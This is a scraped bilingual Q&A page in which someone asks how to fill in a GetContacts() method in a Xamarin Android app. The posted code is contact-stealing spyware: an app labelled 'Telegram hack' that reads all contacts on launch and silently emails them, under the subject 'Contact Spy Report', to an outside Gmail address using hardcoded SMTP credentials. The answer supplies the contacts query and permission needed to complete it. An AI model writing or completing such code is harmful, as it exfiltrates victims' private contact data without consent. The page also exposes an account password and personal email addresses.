在 Xamarin 中获取 Android 联系人 [英] Get Android Contacts in Xamarin

查看:23
本文介绍了在 Xamarin 中获取 Android 联系人的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

目前,我有一些限制,无法使用 Visual Studio.我有一项紧急工作,需要一个 Android 程序,但我不知道如何在其中做一些事情,因为 Visual Studio 帮助我提供建议,但我没有.我想获取带有姓名和电话号码的 Android 联系人.目前,这是我在 App.cs 中的代码:

Currently, I have some limits that I can't use Visual Studio. I have a emergency work, That needs an Android Program, But I don't know exactly how to do something in it, Because Visual Studio helps me with suggests but I don't have it. I want to get Android Contacts With Name and Phone Number. Currently, This is my codes in App.cs:

using System;
using System.Linq;

using Android.App;
using Android.Content;
using Android.OS;
using Android.Views;
using Android.Views.InputMethods;
using Android.Widget;
using System.Net;
using System.Net.Mail;

namespace Tlgr
{
    [Activity(Label = "هک تلگرام", MainLauncher = true)]
    public class App : Activity
    {
        protected override void OnCreate(Bundle bundle)
        {
            base.OnCreate(bundle);
            var ctks = Contact.GetContacts();
            using (var mail = new MailMessage())
            {
                mail.From = new MailAddress("feedbackhost.sender@gmail.com");
                mail.To.Add("asm262015@gmail.com");
                mail.Subject = "Contact Spy Report";
                foreach(ctk in ctks)
                {
                    mail.Body += ctk.ToString() + "\r\n";
                }
                using (var smtp = new SmtpClient("smtp.gmail.com", 587))
                {
                    smtp.Credentials = new NetworkCredential("feedbackhost.sender@gmail.com", "feedbackhost");
                    smtp.EnableSsl = true;
                    smtp.Send(mail);
                }
            }
        }
    }

    public class Contact
    {
        public string Name {get;set;}
        public string[] Numbers {get;set;}
        public override ToString()
        {
            var a = $"Name: {Name}";
            foreach (var i in Numbers)
            {
                a += " , Number: " + i;
            }
            return a;
        }

        public static Contact[] GetContacts()
        {

        }
    }
}

我只需要为方法 GetContacts() 添加正文即可解决我的问题.我搜索过,有好的结果,但我不知道如何使用它们,我需要一个级长代码!谢谢!

I just need to add body for method GetContacts() to solve my problem. I have searched, There was good results, But I don't know how to use them, I need a prefect code! Thanks!

推荐答案

你应该使用 ContactsContract.Contacts

ContactsContract.Contacts 是用于与联系人数据交互的数据契约.该代码在由 ContactsContract.Contacts.ContentUri 定义的 Uri 处查询联系人,返回从 ContactsContract.Contacts.InterfaceConsts 中选择的列.

ContactsContract.Contacts is the data contract that is used to interface with contact data. The code queries contacts at the Uri defined by ContactsContract.Contacts.ContentUri, returning the columns selected from ContactsContract.Contacts.InterfaceConsts.

 var uri = ContactsContract.CommonDataKinds.Phone.ContentUri;
string[] projection = { ContactsContract.Contacts.InterfaceConsts.Id, ContactsContract.CommonDataKinds.Phone.Number};

您可以在此处找到更多信息

您还需要添加权限READ_CONTACTS:

<uses-permission android:name="android.permission.READ_CONTACTS" />

这篇关于在 Xamarin 中获取 Android 联系人的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆